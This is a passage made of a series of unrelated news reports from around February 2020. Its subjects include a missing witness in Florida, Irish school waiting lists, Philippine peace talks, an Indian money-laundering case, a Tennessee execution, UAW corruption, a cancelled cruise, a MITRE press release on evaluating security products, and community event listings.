gonna stop until i know. So whoever did this please dont rest easy your gonna pay for this.' Earlier that afternoon, the mother posted an upsetting image showing her son's bones in a box, as she drew a comparison between herself and the mother of Emmett Till, who made public an extremely graphic photo of her 14-year-old's son mutilated face after he was lynched in Mississippi in 1955. Spann later told the Herald that she is convinced that there are many people out there who know what happened to her son, but who are keeping mum about it. Jabez disappeared on September 4, 2017, about a week after police say he witnessed the shooting of 31-year-old Travis Combs. Police reports said on August 28, 2017, three men chased Combs into a field next to his home just as Spann was leaving a friend's house next door. Spann saw the men shoot Combs and flee. Spann went missing on September 4, 2017, about a week after he witnessed the murder of 31-year-old Travis Combs in Sarasota (left and right). The father-of-one was shot dead after being chased by three men near his home Combs' body was found in a patch of grass near 22nd Street and Palmadelia Avenue, about 200 yards from Spanns home. The man left behind a toddler son. Spann was last seen alive on the night of September 4 in the area of 22nd Street in Sarasota after attending a candlelight vigil for Combs, reported Herald-Tribune. At 4.30pm on February 16, 2019, a laborer repairing a fence line in the area west of Interstate 75 came upon skeletal remains and called 911. The specific location was not released. Officials said during a news conference announcing the grim find that it is unknown how long the remains were at the location where they were found. As of Friday morning, no arrests have been made in the Spann case. Dozens of students will be without a secondary school place next year due to a chronic shortage of schools in East Cork, a group of concerned parents has claimed. Up to 100 children in East Cork have been put on a waiting list for a place in a school in their local areas, according to the East Cork Secondary School Crisis group. It has been an issue for several years, parents have said. I went through the same thing three years ago with my son and nothing has changed; it has gotten worse, said Nicole Reardon, a parent from Midleton. He was placed 25th on a waitlist and he got a place 10 days before school started. I took a section 29 appeal and it didnt help. Now I have the same problem with my daughter but it is much worse. She is on three different waitlists. She is number 187 on one, number 60 on another and 48th on the third. Nothing has been done in the three years since, and something needs to happen now. Many families are in similar situations here. The catchment area is too big, and there has been so much development. We urgently need a new school. There have been longstanding issues when it comes to school places in Carrigtwohill, which is one of the fastest-growing towns in the East Cork region. Plans to build a new community college in the town suffered a number of setbacks since they were first put forward seven years ago. Cork Education and Training Board (ETB), the body responsible for the project, said it is working with the Department of Education and other schools to make every effort to ensure each student gets a place. A spokesman for the ETB said: While Cork ETBs three schools in the East Cork area continue to operate waiting lists until the enrolment process has completed, we are aware that a significant number of students on those waiting lists have also secured places in other schools but choose to remain on the lists for all schools where they have been offered a place. Cork ETB is committed to seeking additional temporary accommodation for Carrigtwohill Community College, a spokesman said. Additional accommodation has been sanctioned by the department, he added. Metro Manila (CNN Philippines, February 21) The local government and the Catholic Church on Samar island have appointed three bishops to lead localized peace negotiations with armed communist rebels. The Office of the Presidential Adviser on the Peace Process in a statement on Thursday said peace talks in the region will now be led by Bishop Isabelo Abarquez of the Diocese of Calbayog in Samar, Bishop Emmanuel Trance of the Diocese of Catarman in Northern Samar, and Bishop Crispin Vasquez from the Diocese of Borongan in Eastern Samar. The panel was created after the Samar Island Partnership for Peace and Development, an organization composed of representatives from the government, church, and civil society groups in the region passed a resolution pushing for church-led peace talks. OPPAP said Borongan Mayor Jose Ivan Dayan Agda made the proposal and quoted him as saying, "[the] religious sector is more credible than the politicians in leading the localized peace engagements with the rebel group." This is consistent with the national government's resolve for localized peace talks ever since President Rodrigo Duterte walked away from negotiations with the National Democratic Front of the Philippines in 2017. The NDFP represents rebels in talks to end the five-decade insurgency waged by the Communist of the Philippines and its armed wing New People's Army. READ: How peace talks with communist rebels failed Despite a promising start to the peace talks during Duterte's first year in office, the negotiations broke down as government troops and rebels accused each other of ceasefire violations. Duterte has since called on members of the NPA to surrender on their own, promising cash, housing, and livelihood assistance. The CPP leadership has rejected the localized talks and accused the government of fabricating reports on the massive surrenders of armed rebels. The two sides are now considering returning to the negotiating table, but Duterte and CPP founding chairman Jose Maria Sison could not agree on contentious issues, including the venue of the meeting. READ: Duterte dares Sison to a one-on-one talk in PH Corporate lobbyist diverted Rs 90.72 crore received from French aerospace company Airbus SAS and UK-based arms manufacturer MBDA for non-mandated purposes by booking bogus expenditures in his NGO's books of account through forged documents, the ED has told a Delhi court. The (ED) made the allegations in its charge sheet filed before Special Judge Ajay Kumar Kuhar. The agency has accused Talwar and others of money laundering, which is punishable under the Prevention of Money Laundering Act (PMLA). The ED's Special Public Prosecutor Nitesh Rana told the court that a "criminal conspiracy" was hatched by the accused persons to divert the funds. The court took cognisance of the charge sheet and summoned the accused persons on March 16. "The allegations in the complaint prima facie show that the arrayed accused were involved in the process of acquisition of proceeds of crime, the possession thereof and the use and layering of the proceeds of crime thereby claiming the proceeds of crime as untainted property. "From the allegations made in the complaint, the offences under Section 3 read, with Section 70, punishable under Section 4 (related to money laundering) of Prevention of Money Laundering Act, are made out," the court said. "In view of the above, I take cognisance of the offences. From the averments made in the complaint qua the arrayed accused, I have found sufficient grounds to proceeds against all the accused arrayed in the complaint...," it said. Talwar's NGO Advantage India received foreign contribution to the tune of Rs 90.72 crore during the financial year 2012-13 to 2015-16, and it earned an interest of Rs 6.69 crore on the amount, according to the charge sheet. The report said the NGO had received this contribution from Airbus SAS and MBDA which are companies engaged in aeronautics and missile manufacturing, respectively. "The fund received by Advantage India was not utilised for mandated purposes for which it was received. As per the Memorandum of Association (MoA) of Advantage India, the funds are to be applied towards the promotions of aims and objectives of the society (NGO). "However, the foreign contribution received was allegedly used for the purposes contrary to the mandate in the MoA," it said, adding that foreign contribution was received in a non designated account and it was mixed with the domestic contribution. According to the charge sheet, filed through advocate A R Aditya, a "criminal conspiracy was hatched to divert the funds received from foreign donors for non-mandated purposes by booking bogus expenditure in the books of account of the society on the basis of forged documents." "The payment made through banking channel through various genuine and paper entities on the basis of documents forged ostensibly for mandated purposes of society were received back in cash by the founder, Talwar, after routing the same through a chain of entities," it said. Talwar, who controls Advantage India, had roped in the other accused persons to execute his plan. "He was instrumental in generation of proceeds of crime by booking bogus expenses in the books of account of Advantage India and is thus, knowingly in possession of the proceeds of crime and he layered and laundered the proceeds of crime as untainted property in the form of loan into Wave Impex (P) Ltd through Kolkata based entities," the charge sheet said. Co-accused Jatin Wadega controlled and managed two shell companies, while Manish Garg, another co-accused, an accountant in Advantage India, was engaged in booking bogus expenses and conducting shell transactions. Another accused, Raman Kapoor, had assisted Talwar in siphoning off funds, while accused Tarun Kapoor, a chartered accountant, was instrumental in transferring cash received on behalf of Talwar, from Delhi to Kolkata and was instrumental in handling the proceeds of crime. Another chartered accountant, Sanjiv Sharma, assisted Talwar in the process of money laundering. Wave Impex (P) Ltd, which is controlled by Talwar, also received Rs 1.65 crore as loan from Kolkata based shell companies. The ED lodged its case in December 2017 for investigating the matter under PMLA to trace the trail of the proceeds of crime. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) A contestant on The Bachelor has shut down accusations she was on drugs while filming the dating show. Mykenna Dorn, who appears on the current season of The Bachelor, took to her Instagram stories to strike out against trolls accusing her of drug use on the series. 'I'm honestly done with this conversation and the daily DMs I get about it because you are obviously wrong,' she said while including screenshots of the accusations, which included tweets she appeared 'high' or was 'rolling on Molly.' 'Do you really think they're going to let us do cocaine on the show?' Mykenna Dorn, who appears on the current season of The Bachelor, took to Instagram to strike out against trolls accusing her of drug use on the series 'Like, do you really think they're going to let us do cocaine on the show? Like, no. I literally have to tell the damn doctor why I want a damn Advil and give her my symptoms.' Mykenna insisted all the contestants were 'highly monitored all the time' throughout filming. 'So you and your opinions and your comments can seriously f**k off,' she said. 'Because if you really think that's something funny to joke about, especially today in our world with overdoses, and this is a serious thing, like, you are obviously messed up in the head. That's all. Have a great day.' A fashion blogger from Langley, BC, Mykenna was eliminated week seven of The Bachelor. Hitting back: The Bachelor contestant had a bone to pick with her haters Will you accept this rose? Dorn was eliminated from the competition during week seven According to her Bachelor bio, Mykenna hoped to find a love which resembled her grandparents' relationship. 'She is super close to her parents and is constantly inspired by her grandparent's love, which makes sense, as they were together for 61 years and her grandpa proposed to her grandma on their first date,' read the bio. Mykenna loves attending car shows with her father and watching Grey's Anatomy. Hat's off to her: Dorn is a fashion blogger who hails from Langley, BC, Canada The drama continues on the current season of The Bachelor. Peter Weber is currently down to his final three, but a theory has gained traction that he ends up with his producer, Julie LaPlaca. The Bachelor airs on ABC Mondays at 8/7c. In the past, Apple has received considerable criticism for not letting the users use any other apps than the ones set in the system by default. And all these default apps are apps developed by Apple. This means if you want to set Google Maps and or Chrome browser as default apps, you can do so on the iPhone and iPad because Apple prefers Safari and Apple Maps. Now there is a talk that this may change with the iOS 14, which is expected to come in June at WWDC this year. Apple's policy regarding its own apps and default apps has been criticised not only by users but has also come to the notice of lawmakers and regulators. Owing to this criticism, Apple may give its users access to set third-party apps as default apps in categories like web browsers, maps, email and music, Bloomberg reports. Launched in 2008, the iOS has been opened by Apple in significant ways in the last three or four years. But compared to Android it still remains fairly locked down operating system. The locked down state of iOS once attracted attention from US lawmakers. During a hearing of the US House of Representatives Antitrust Panel, Apple executives were asked about why iPhone and iPad did not allow users to change default apps. There is further speculation that Apple may also open its Homepod speaker to third-party music services like Pandora and Spotify. This may prove to be a boon for Apple, as the report suggests that Homepod is not been doing as well as its rivals from Google and Amazon. Currently, Spotify and other third-party music apps can stream from an iPhone or iPad to the HomePod via Apple's airplay technology. This is slightly cumbersome compared to being able to access these services directly through the speaker with a voice command. Last year in March, Spotify had filed a complaint against Apple with the European Commission (EC). Daniel Ek, CEO of Spotify, wrote on official blog: In recent years, Apple has introduced rules to the App Store that purposely limit choice and stifle innovation at the expense of the user experience -- essentially acting as both a player and referee to deliberately disadvantage other app developers." Apple responded to Spotify by saying that Spotify wanted to reap the benefits of the App Store without paying for them. Spotify had pointed out in the complaint the inability to run directly on Homepod and became default music player through Siri, Apple's digital assistant. A murderer has been executed in Tennessee, making him the fifth inmate to die in the electric chair since 2018 - despite his victim's daughter backing his clemency. Nicholas Sutton, 58, was pronounced dead at 7.26pm, according to the Tennessee Department of Correction. Sutton was said to look solemn in the moments before his sentence. In his last words he thanked God and said that he was 'a winner' in death. He paid tribute to his friends and family, saying of his wife: 'Without her, I would not have made the progress that I have made.' Sutton was served his last meal about three hours before his execution on Thursday evening. Nicholas Sutton, 58, was served his last meal three hours before he was executed on Thursday evening at Nashville maximum security prison He ordered fried pork chops, mashed potatoes with gravy and peach pie with vanilla ice cream, the Tennessee Department of Correction said. Death row inmates typically have a $20 limit for their last meal. Sutton's fate was sealed on Wednesday when Tennessee Governor Bill Lee said he would not grant him clemency despite the inmate having support from family members of his victims as well as past and present prison workers. He was sentenced to death in 1986 for killing fellow inmate Carl Estep in a conflict over a drug deal in an East Tennessee jail. At the time of Esteps killing, Sutton was already serving time for murdering three people - his grandmother Dorothy Sutton, his high school friend John Large and Charles Almon - in 1979. 'I have made a lot of friends along the way and a lot of people have enriched my life,' he said when he was asked if he had any last words. Former prison Former Correction Lt. Tony Eden (center) is pictured with Nicholas Sutton and his wife Reba on their wedding day in 1994. Eden described Sutton as 'the most rehabilitated prisoner I met working in maximum security prisons' and said he saved his life in a riot Ashley Buchanan, who knew Sutton, is consoled outside Riverbend Maximum Security Institution before the execution 'They have reached out to me and pulled me up and I am grateful for that. I have had the privilege of being married to the finest woman, who is a great servant to God,' he continued. 'Without her, I would not have made the progress that I have made. I hope I do a much better job in the next life than I did in this one. 'If I could leave one thing with all of you, it is, don't ever give up on the ability of Jesus Christ to fix someone or a problem. He can fix anything. Don't ever underestimate His ability. 'He has made my life meaningful and fruitful through my relationships with family and friends. So, even in my death, I am coming out a winner. God has provided it all to me.' Tennessee Governor Bill Lee refused to grant clemency to Sutton on Wednesday as his legal options to escape execution dwindled Amy Large Cook, the sister of one of his victims, John Large, vowed that she would never forgive him but expressed relief that a chapter of her life could now close. 'I dont know that I will ever have complete closure, but like a friend of mine said, at least that chapter will be over, she said in a statement read out by a Department of Correction official. John was denied the opportunity to live a full life with a family of his own. He suffered a terrible and horrific death and for that I will never forgive Mr Sutton.' A WTVF reporter present at the execution said that Sutton looked solemn before the death penalty was carried out. Two officers placed the helmet on his head and a shroud over his face before the first volt of electricity was delivered at 7.18pm, causing him to curl his fingers and his body to rise from the chair. After a second volt he was pronounced dead at 7.26pm. He was executed at a Nashville maximum security prison, where he was moved to a cell next to the death chamber on Tuesday and put under 24-hour surveillance. Sutton has chosen to die in the electric chair, an option in Tennessee for prisoners whose crimes were committed before 1999. He is the fifth person to die in the state's electric chair in the past 16 months. In 1985, Sutton was serving time at the Morgan County Regional Correctional Facility for three murders in 1979. An electric chair at the Riverbend Maximum Security Institution under the jurisdiction of Tennessee's Department of Correction in Nashville. He is the fifth person to die in the state by electric chair since 2018 As prison guards were on a shift change on January 15, Sutton and Thomas Street entered Estep's cell and stabbed him 38 times in the chest and neck with two homemade knives, prosecutors said. One of the inmates also said Estep was a marijuana dealer at the facility who had sold the men 'bad merchandise' and refused to refund their money. He testified that after the men took Esteps watch, Estep threatened to kill Sutton. In 1986, a Morgan County Criminal Court jury convicted Sutton of first-degree murder and sentenced him to death. Street was convicted and sentenced to life in prison. A third man who was accused of taking part in the attack was acquitted. Estep's oldest daughter has said Sutton did her family a favor when he killed her father, who she describes as an 'evil man'. Rosemary Hall said that her father, who was jailed for raping her stepsister when he died, set their house on fire and deliberately caused a traffic accident that killed her baby sister. She described his death as a blessing. 'To say that was the best day of my life is an understatement,' she said in a statement that was included in Suttons clemency petition. Demonstrators protesting against the execution gather near Riverbend Maximum Security Institution 'I felt as though a 100-pound weight had been lifted off my shoulders and I thought to myself, 'There is a God!'' She called Estep an 'evil man' and accused him of setting their house on fire and deliberately causing a traffic accident that killed her baby sister. Estep was in prison for raping Halls stepsister when Sutton killed him, she said. Despite Hall's support, Governor Lee decided to allow Sutton's execution go ahead. Three men have been executed since Governor Lee took office, including one who became a devout Christian and religious leader while in prison. 'After careful consideration of Nicholas Suttons request for clemency and a thorough review of the case, I am upholding the sentence of the State of Tennessee and will not be intervening,' he said on Wednesday. Friends described a childhood marked by abandonment, abuse and neglect in his clemency petition. They said he later a spiraled into drug abuse. Former Correction Lt. Tony Eden said that Sutton had reformed since he was imprisoned as a teenager. 'I can confidently state that Nick Sutton is the most rehabilitated prisoner that I met working in maximum security prisons over the course of 30 years,' he said. Eden believes Sutton may have saved his life during a prison riot in 1985 by confronting a group of armed inmates who were trying to take Eden hostage. 'If Nick Sutton was released tomorrow, I would welcome him into my home and invite him to be my neighbor,' Eden wrote. Former counselor Cheryl Donaldson also believes Sutton may have saved her life when he sprang into action and called for help after she slipped and hit her head hard on a concrete prison floor. Donaldson also described how her own brother's killing prompted a very frank conversation with Sutton. 'Nick told me he deeply regretted his crimes, constantly reflected on his wrongs, his victims and their families, and is haunted by the lives he has taken,' Donaldson stated. The mother of Paul House, a former death row inmate who was later freed when a judge overturned his conviction based on new evidence, said last week that she was doing all she could to advocate for Sutton. She said Sutton cared for her son after he developed multiple sclerosis in prison, including helping him eat and shower. 'I'm telling you right now, my son would be dead if it wasn't for Nick,' Joyce House said in a telephone interview. Relatives of another of Sutton's victims, Charles Almon, were also among those who requested clemency. Almon's nephew and namesake, Charles Maynard, said his close-knit family never got over his uncle's death, but the past few months have been especially painful as Sutton's execution date approaches. Maynard said he doesn't feel executing Sutton will solve anything. 'It just ends my uncle's story with another killing,' Maynard said in a phone interview. He said he and his daughter Anna Lee are considering attending a vigil to be held by Tennesseans for Alternatives to the Death Penalty if the execution goes forward. On Wednesday, former top United Auto Workers (UAW) official Michael Grimes was sentenced to 28 months in prison for his role in a massive kickback operation involving UAW vendors run out of the UAW-GM Center for Human Resources (CHR). Grimes was a top administrative aid to multiple union vice presidents for General Motors, including Cindy Estrada, now UAW vice president for Fiat Chrysler. The scheme was run with former UAW Vice President for GM Joe Ashton and also involved another a top assistant, Jeff Pietrzyk, both of whom have been indicted. The scheme netted Grimes alone $1.5 million from 2006 to 2018. The 28-month sentence is a wrist-slap compared to the sentencing guidelines of 47 to 57 months, and slightly more than the 24 months requested by prosecutors. The reduced sentence appears, at least in part, to be due to Grimess cooperation against his co-defendants, Pietrzyk and Ashton. Comments by his attorney, Michael Manley, stressing Grimess willingness to cooperate and that warning that people who have done things wrong should be worried appear to confirm this. Michael Grimes [Source: UAW Local 292 Kokomo, IN] The prosecutors sentencing memorandum testifies to the criminality, greed and blind stupidity that typifies the UAW leadership. Grimes extorted hundreds of thousands of dollars from vendors providing union-branded memorabilia, including monthly payments of between $2,500 and $5,000, a $60,000 loan to purchase property in suburban Detroit, bogus consulting agreements worth tens of thousands of dollars, and cosmetic surgery for a relative. Grimes made no real attempt to hide these transactions, which, remarkably, were paid by check. The terms of his corrupt consulting agreement were even written into his mortgage contract. So far, a total of 13 UAW officials, relatives and company executives have been charged as part of the federal corruption probe, and 11 have been convicted. More have been implicated in court documents but not charged, including former UAW President Gary Jones, who resigned in disgrace last November, his predecessor, Dennis Williams, and Joness interim replacement, Rory Gamble. A plea agreement earlier this month by top Jones ally Vance Pearson makes an indictment against Jones a real possibility. Fire officials in Detroit are also looking into the possibility that last Julys fire at Solidarity House, the UAWs headquarters, was deliberately set. The federal indictment of Edward Nick Robinson, a top Jones lieutenant, reports that an unnamed official, confirmed to the Detroit-area press as Gary Jones, said he wished they burned the records relating to their embezzlement scheme. Earlier this week, the Detroit Free Press published photos of the fires aftermath taken by city investigators showing extensive damage to the UAW offices. The federal probe has exposed the entire UAW as a criminal syndicate, not a workers organization. This is not the product of individual greed, but the transformation of the unions over a whole historical period into an arm of management, driven by its pro-capitalist and nationalist orientation. Workers must break with the UAW and form new organizations, rank-and-file committees, to carry their struggle forward. The massive endemic bribery in the UAW comes out of the divergent social interests of the union as an institution and autoworkers and the financial integration of the union into the structure of the company. Hourly employment at General Motors has fallen roughly 90 percent in the United States since the 1970s, when GM had more than 400,000 workers. Union assets have increased over that same period to roughly $1 billion, and more than 450 union executives now make over $100,000 per year. A federal takeover of the union under racketeering statutes remains a real possibility, but prosecutors so far have doled out only lenient sentences. Last month, the former UAW vice president for Fiat Chrysler Norwood Jewell, the highest-ranking official to have been convicted so far, began a 15-month sentence at a minimum-security facility in Wisconsin nicknamed The University because of its campus-like atmosphere. White-collar criminals and corrupt politicians stay in cottages rather than prison cells, and the facility includes amenities such as a movie theater and a bocce-ball court. I just find it odd that these officials are getting such weak jail sentences, one worker at GMs Lansing Delta Township facility told the World Socialist Web Site Autoworker Newsletter. Not only are they corrupt, theyre cowards. They snitch on each other at the drop of a hat. In their sentencing memorandum, Grimess lawyers painted an absurd picture of the former UAW official as a dedicated family man and union officer, whose efforts in contract negotiations helped retain or create 21,000 jobs since 2009. Grimes, they said, is a philanthropist and pillar of the community who even [volunteered] as a distinguished clown for the Detroit Thanksgiving Day Parade. Grimes was driven to extort millions from union vendors, his lawyers suggested, out of love for his family and simple human frailty. He never lived the high life, they claimed. Michael tried to make himself, his new wife and children happy with material things. Items he could not afford on a blue-collar salary. Michael thought he could buy away his pain. In fact, Grimess legitimate income as a top UAW executive was $139,000 per year, a sum that places him far beyond the financial interests and social outlook of the workers the UAW falsely claims to represent. And far from retaining or creating jobs, the unionized workforce at GM fell by more than half since Grimes was first appointed to the national leadership, from 106,000 in 2004 to fewer than 50,000 today. General Motors claims that it had no knowledge of the kickback schemes being orchestrated at the CHR, which it operates jointly with the union, until the indictments were handed down. This is simply not credible. The kickback scheme involved the distribution of CHR funds, which GM officials would have had to co-sign. One of the largest individual kickbacks came from a contract with General Motors, engineered by Grimes, to produce company-branded jackets. Moreover, this took place in 2011, a contract year in which the UAW agreed to massive concessions in the aftermath of the 2009 bankruptcy. A particularly noteworthy portion of the prosecutors memorandum was a reference to a network of stores selling UAW-branded items inside dozens of GM plants, operated by one of the vendors involved in the scheme. This display of corporatism was so brazen that even the judge expressed his astonishment. Id never heard of such a thing, he said. From their inception, the essential function of the joint company-union training centers has been to integrate the unions with management through the infusion of tens of millions of dollars in cash into UAW coffers, essentially turning the UAW into a wholly owned subsidiary of the auto companies. As much as $1 billion was distributed to the UAW-GM Center for Human Resources between the 1980s and 2000, according to labor historian and UAW critic Thomas Adams. Even after the outbreak of the corruption scandal, the companies and the union are determined to keep this relationship in one form or another. Under the new GM contract, the CHR will closebut its joint programs will continue under another name. Holidaymakers have been left devastated after their cruise from Singapore to Australia was cancelled over coronavirus fears. The P&O Indonesian Explorer cruise was due to depart Singapore on February 28 and arrive in Sydney 14 days later. But the tourists were on Thursday advised their $2,000 trip had been scrapped due to travel restrictions imposed by coronavirus. Australian vacationers had booked one-way flights for the beginning of the cruise and some have been left stranded by the short notice announcement. Holidaymakers have been left devastated after their P&O cruise from Singapore to Australia was cancelled over coronavirus fears (stock image) The P&O Indonesian Explorer cruise was due to depart Singapore on February 28 and arrive in Sydney 14 days later. But the tourists were on Thursday advised their trip had been scrapped due to travel restrictions imposed by coronavirus 'Operating uncertainty in Asia, with travel restrictions, port closures and potential for more with the regional response to coronavirus, is increasing,' an email to passengers said. 'In view of the ongoing uncertainty, we have made the difficult decision to cancel your Pacific Explorer cruise. 'While no travel restrictions currently apply to Singapore or other destinations on the itinerary, operational uncertainty has reached an unacceptable level.' The email said travellers would be provided with a full refund and receive a future cruise credit to the value of 50 per cent of the original cruise fare. 'We are very sorry for any disappointment these unavoidable and unexpected changes may have, but we hope you appreciate they have been made to protect your health, safety and wellbeing,' the email concluded. It comes as four Australians who were on the Diamond Princess cruise ship in Japan were confirmed to have contracted the virus. In an email to holidaymakers, P&O said they made the 'difficult decision' to cancel the cruise following uncertainty in Asia amid coronavirus On Friday night two Queensland women, aged 54 and 55, tested positive for COVID-19 and will be flown to Brisbane for further treatment. Earlier on Friday, a 78-year-old man from Western Australia was transferred to Sir Charles Gairdner Hospital in Perth. The other patient is a 24-year-old woman from South Australia, who will be transferred to Royal Adelaide Hospital. Some 170 Australians, most aged in their 60s and 70s, will be quarantined for two weeks after leaving the coronavirus-hit Diamond Princess cruise ship in Yokohama. Marie Ferri, who was scheduled to fly from Sydney to Singapore on Tuesday morning, said she was 'feeling devastated' about the cancellation of the P&O Indonesian Explorer cruise. 'Because we booked November last year and have been looking forward to it and it was so close to going,' she said. 'Also all the leave has been booked through work and now trying to find an alternative holiday at such short notice.' The mum-of-two wishes they had been warned about the potential cancellation. It comes as four Australians who were on the Diamond Princess cruise ship in Japan were confirmed to have contracted the virus. Pictured: Japan Self-Defence Forces officers use canvas sheets to cover the walkway from the cruise ship Diamond Princess Ms Ferri said her daughter Mia had received her room confirmation only two days earlier. 'More notice would have been great because it would have allowed us to make alternate arrangements,' she said. 'I feel sorry for the passengers who are already in Singapore and have to make alternative arrangements to get home.' The family have now cancelled their pre-cruise accommodation and flights. 'Our hotel was not refundable, not sure about the flights. We will send receipts to P&O and hope for the best,' she said. A spokesperson from P&O Cruises Australia told Daily Mail Australia the company made the difficult decision to cancel the Pacific Explorers Indonesian Explorer cruise (X008) amid ongoing uncertainty in the region due to the coronavirus. 'The guests booked on the cruise have all been contacted directly with this news. We certainly share their disappointment at this development,' they said in a statement. 'To acknowledge their disappointment we have offered guests a full refund of the cruise fare paid, a 50 per cent future cruise credit and reimbursement of reasonable out-of-pocket expenses to be considered.' 'This has been a difficult decision at a difficult time for the tourism and travel sector. We thank our guests for their understanding in these challenging circumstances.' [February 20, 2020] MITRE Engenuity to Evaluate Cybersecurity Products Based on Carbanak and FIN7 Groups MITRE Engenuity will assess commercial cybersecurity products against the threat posed by the groups commonly known as Carbanak and FIN7. Carbanak and FIN7 have each demonstrated the ability to compromise financial service and hospitality organizations through the use of sophisticated malware and techniques, resulting in the theft of more than $1 billion across hundreds of businesses over the past five years. Despite the arrest of key members in 2018, Carbanak and FIN7 remain active cyber threats to organizations globally. Cybersecurity vendors may apply for an evaluation via [email protected]. The evaluations are paid for by vendors and are intended to help vendors and end-users better understand their product's capabilities in relation to MITRE's publicly accessible ATT&CK framework. Results will be announced in early 2021. ATT&CK evaluations do not provide scores, ranks, or endorsements. The evaluations use ATT&CK, a MITRE-curated knowledge base of adversary tactics, techniques, and procedures that is based on published threat reporting. ATT&CK is freely available, and is used by cyber defenders in areas including finance, healthcare, energy, manufacturing, retail, and government, to understand adversary behavior and tradecraft. This latest set of evaluations will be conducted by MITRE Engenuity, a non-profit tech foundation launched last November to collaborate with the private sector on public interest challenges like cybersecurity. As with previous evaluations conducted by MITRE, this set will assess products' ability to detect tactics and techniques used by the adversary grous in question, with the methodology and resulting data made publicly available so other organizations may benefit as well as provide their own analysis and interpretation. This evaluation will also mark the first time that these same vendors can sign up for an optional extension to their detection evaluation that will exercise their protections related to ATT&CK techniques. "During the previous evaluations, vendors would note when they believed a protection would have prevented the execution of specific evaluated behaviors. By extending the offering to include protections, the evaluations will be able to definitively say whether this was the case," said Frank Duff, the ATT&CK Evaluations lead. As with the detection evaluations, the results of these evaluations will be publicly released, giving the users and potential users of these tools clear insights into performance. The first evaluations examined how products from Carbon Black, CrowdStrike, CounterTack, Endgame, Microsoft, RSA, SentinelOne, Cybereason, F-Secure, FireEye (News - Alert), McAfee, and Palo Alto detected the threat posed by APT3, a Chinese group that analysts believe is currently focused on monitoring Hong Kong-based political targets. The second evaluations examined how products from Bitdefender, Blackberry Cylance (News - Alert), Carbon Black (VMware), CrowdStrike, Cybereason, CyCraft, Endgame (Elastic), F-Secure, FireEye, GoSecure, HanSight, Kaspersky, Malwarebytes, McAfee, Microsoft (News - Alert), Palo Alto Networks, ReaQta, Secureworks, SentinelOne, Symantec (Broadcom), and Trend Micro detected the tactics and techniques of APT29, a group that analysts say operates on behalf of the Russian government and compromised the Democratic National Committee starting in 2015. Results from the APT29 evaluations are expected to be released in late March 2020. "We've heard from companies that have incorporated data from the first evaluations into their purchasing decisions that doing so has enabled them to make better informed decisions faster and at a far lower cost - up to 10 times less than they would have spent evaluating the products entirely on their own," Duff said. "We've worked to make our results more self-explanatory, so that consumers can make decisions even more easily and effectively." About MITRE Engenuity MITRE Engenuity is a non-profit tech foundation that collaborates with the private sector on challenges that require a public interest solution, like cybersecurity, infrastructure resilience, healthcare effectiveness, and next generation communications. www.mitre-engenuity.org About MITRE MITRE's mission-driven teams are dedicated to solving problems for a safer world. Through our public-private partnerships and federally funded R&D centers, we work across government and in partnership with industry to tackle challenges to the safety, stability, and well-being of our nation. www.mitre.org View source version on businesswire.com: https://www.businesswire.com/news/home/20200220005985/en/ [ Back To TMCnet.com's Homepage ] YOUNGSTOWN, Ohio - A man from Mexico in government custody and awaiting deportation died by apparent suicide in an Ohio prison, U.S. immigration authorities said Friday. David Hernandez Colula, 34, was being held at the Northeast Ohio Correctional Center in Youngstown during pending deportation proceedings, U.S. Immigration and Customs Enforcement said. Colula died at a hospital early Thursday after prison staff found him unresponsive in his cell. Colula apparently died by suicide but the case is under investigation, authorities said. Colula was transferred to the Ohio prison following his arrest in Michigan in December for an outstanding warrant. ICE is firmly committed to the health and welfare of all those in its custody and is undertaking a comprehensive agency-wide review of this incident, as it does in all such cases, said ICE spokesman Khaalid Walls. He could not say where in Mexico that Colula was from. Colula was previously apprehended by U. S. Border Patrol in Rochester, New York, on Dec. 4, 2014, transferred into ICE custody pending deportation, then released on bond Dec. 8, 2014, according to ICE. We need protection!... I heard from the ADL and pass it along: "The end of year explosion of anti-Semitic violence in New York and New Jersey is cause for deep concern. A couple of months ago (mid-December), a chilling attack at a Kosher supermarket in Jersey City resulted in the deaths of three civilians and a police officer. Then, ADL documented 10 more incidents targeting Jews in the area, all occurring during the eight days of Chanukah, including the vicious stabbings at a Chanukah celebration inside a rabbi's home in Monsey, New York in which at least five people were injured. The Anti-Defamation League was on the ground in both Jersey City and Monsey immediately after the attacks. They continue to work directly with law enforcement, including NYPD's Hate Crimes Task Force, public officials, Jewish communal and community leaders, as well as the victims of these horrific assaults. What is clear is that the Jewish community needs greater protection. ADL is demanding that authorities provide increased protection NOW and ensure that the full force of the law is brought down on those who perpetrate such crimes. ENOUGH IS ENOUGH! Now, more than ever, is the time for society to come together and reject this vile hate. Anti-Semitism is a societal problem. It is not limited to one source, one ideology, one community. We all have to stand together against it, no matter where it happens and no matter where it comes from. Public officials and the community at large must lead the example and demand meaningful change so that our community is adequately protected. (I repeat: ENOUGH IS ENOUGH!) A little more enlightening news... The Austrian parliament has unanimously decided to grant citizenship to all Austrian Jews expelled by the Nazis, as well as their descendants. On the sidelines of the recent UN General Assembly, World Jewish Congress President Ambassador RONALD S. LAUDER hosted Austrian President ALEXANDER VAN DER BELLEN in Manhattan and expressed appreciation for this development as a positive move for Austria and for the Jewish people. The Austrian Citizenship Act was adopted recently and will go into effect in September of 2020. All that jazz... On Sunday, Feb. 23rd at the Altamonte Chapel, 825 E. Altamonte Drive in Altamonte Springs. It looks like the last Sunday's of the month (except December) are "Must come Sundays" to hear some of the best jazz anywhere. Remember, the second set is always a Jam Session if you'd like to join, bring your axe (vocalist are more than welcome). WUCF's ALAN ROCK is your host. On this Sunday (Feb.23rd) the show title will be "Let The Good Times Roll," a tribute to Mardi Gras. KID DUTCH and his musicians will perform. He will be on brass and vocals. PERRY ORFANELLA will be on bass. ROBERT KELLEHER will play drums. A special guest from France, ERIC GILLES will be on banjo. For further information, Phone: (40 7) 339-5208. The Donation is $15 per person. From music to fashion... The Jewish Pavilion Annual Fashion Show will take place on Wednesday, Feb. 26th, 11 a.m. at Dillards Dept. Store, 451 East Altamonte Drive, Altamonte Springs, #1101. The lovely and talented PENNY GOLDSTEIN will be honored. General admission is $25. (There will be a pre-event for Pearl donors of $500 plus at 10 a.m.). JCC39ers Cinema Sundays... The movie "Bel Canto" starring Julianne Moore will be featured. The event takes place in the Maitland JCC Senior Lounge, beginning at 2 p.m. Refreshments will be available. JCC39ers Meet & Mingle Mondays... A film will be shown in the Senior Lounge, beginning at 1 p.m. The title is "A Jewish Legacy-part B." It is a musical and will be shown by JCC39ers Co-President, Sheldon Brook. Refreshments will be complimentary after the presentation. JCC members & JCC39ers... On 